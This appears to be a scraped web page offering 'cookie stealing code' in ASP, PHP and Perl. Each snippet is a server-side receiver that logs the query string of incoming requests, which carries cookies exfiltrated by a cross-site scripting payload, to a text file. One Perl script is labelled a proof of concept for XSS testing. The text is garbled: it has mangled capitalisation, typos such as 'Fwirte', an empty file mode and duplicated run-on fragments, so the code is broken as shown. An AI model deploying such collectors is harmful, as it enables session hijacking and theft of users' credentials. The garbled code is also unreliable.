Cookie stealing code (asp, php, perl ). Asp%dimstrfilenamestrfilenamemydata.txt data file storage directory setlPserver. createObject (Adodb. Stream) lP. OpenlP. Type2lP. CharSetgb2312lP. writetextrequest. S ASP
<%
Dim strfilename
Strfilename = "mydata.txt" data file storage directory
Set lP = server. createObject ("Adodb. Stream ")
LP. Open
LP. Type = 2
LP. CharSet = "gb2312"
LP. writetext request. Servervariables ("QUERY_STRING ")
LP. SaveToFile server. mappath (strfilename), 2
LP. Close
Set lP = nothing
%>
PHP version
$ Info = getenv ("QUERY_STRING ");
If ($ info ){
$ Info = urldecode ($ info );
$ Fp = fopen ("info.txt", "");
Fwirte ($ fp, $ info ."");
Fclose ($ fp );
}
?>
PERL
#! /Usr/bin/perl
# Evil_cookie_logger.cgi
# Remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing
# Cross-site scripting vulnerabilities.
$ Borrowed_info = $ ENV {QUERY_STRING };
$ Borrowed_info = ~ S/% ([a-fA-F0-9] [a-fA-F0-9])/pack ("C", hex ($1)/eg;
Open (EVIL_COOKIE_LOG, "> evil_cookie_log") or print "Content-type:
Text/html something went wrong ";
Print EVIL_COOKIE_LOG "$ borrowed_info ";
Print "Content-type: text/html ";
Close (EVIL_COOKIE_LOG );
Setting % dim strfilename = "mydata.txt" data file storage directory set lP = server. createObject ("Adodb. stream ") lP. open lP. type = 2 lP. charSet = "gb2312" lP. writetext request. s...